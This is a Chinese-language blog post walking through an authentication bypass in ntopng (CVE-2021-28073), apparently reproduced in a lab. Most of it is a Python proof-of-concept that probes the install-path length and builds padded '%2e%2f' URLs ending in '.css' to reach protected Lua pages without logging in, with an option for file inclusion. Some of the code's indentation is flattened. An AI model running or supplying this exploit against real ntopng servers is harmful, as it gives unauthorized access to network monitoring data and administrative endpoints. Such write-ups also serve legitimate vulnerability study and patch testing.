ntopng 权限绕过（CVE-2021-28073）

CDxiaodong · 发表于 2021-10-19 19:29:40

描述: ntopng是监控服务器网络流量的工具，对外提供Web页面。其4.2及以前的版本中存在一处权限绕过漏洞，利用该漏洞可以未授权访问目标任意接口。

影响范围

ntopng commit < e8b9721479f401f595c5c7bb151819aceb03ad71

漏洞利用：

打开网页

这个漏洞主要是未授权访问接口或者说目录

所以我们先用admin/admin登录进去随便选一个接口网址

http://192.168.1.192:34352/lua/hosts_stats.lua

然后退出登录状态

用POC计算出ntopng lua目录的长度

python 1.py

-url http://192.168.1.192:34352/ baselength

poc 如下

import sys
import requests
import argparse
import logging

def is_ntopng() -> bool:
response = session.get(base_url, allow_redirects=False)
return response.status_code == 302 and '/lua/login.lua' in response.headers.get('Location', '')

def get_base_length() -> int:
for i in range(90, 120):
      url = base_url + '/lua/' + '%2e%2f' * i + 'as_stats.lua.css'
      response = session.get(url, allow_redirects=False)
      if response.status_code < 300:
         return 255 - 1 - i * 2 - len('as_stats.lua')

for i in range(90, 120):
      url = base_url + '/lua/' + '%2e%2f' * i + 'get_macs_data.lua.css'
      response = session.get(url, allow_redirects=False)
      if response.status_code < 300:
         return 255 - 1 - i * 2 - len('get_macs_data.lua')

return -1

def get_padding_length(path: str):
padding_length = 255 - 1 - base_length - len(path)
if padding_length % 2 == 1:
      raise RuntimeError(f'path {path} is not support')

return int(padding_length / 2)

logging.basicConfig(stream=sys.stderr, level=logging.WARNING)
session = requests.Session()
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'

if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2021-28073 POC for ntopng.')
parser.add_argument('-u', '--url', help='base url for ntopng, eg: http://192.168.1.233:3000', metavar='<URL>', required=True)
parser.add_argument('-v', '--verbose', default=False, action='store_true')

subparsers = parser.add_subparsers(dest='action')

baselength_command = subparsers.add_parser('baselength', help='get base path length of ntopng')

generate_command = subparsers.add_parser('generate', help='generate the authenticate bypass url')
generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
generate_command.add_argument('-p', '--path', help='lua pathname', metavar='<PATH>', required=True)

generate_command = subparsers.add_parser('include', help='generate the arbitrary file inclusion url')
generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
generate_command.add_argument('-i', '--include', help='path to include', metavar='<PATH>', required=True)

args = parser.parse_args()
if not args.action:
      parser.print_help()
      sys.exit(1)

if args.verbose:
      logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)

base_url = args.url.rstrip('/')

# check target
if not is_ntopng():
      raise RuntimeError('No Ntopng detected')

if args.action == 'baselength':
      base_length = get_base_length()
      sys.stdout.write(f'ntopng install path length: {base_length}\n')
elif args.action == 'generate':
      base_length = args.length
      path = args.path
      sys.stdout.write(base_url + '/lua/' + '%2e%2f' * get_padding_length(path) + path + '.css\n')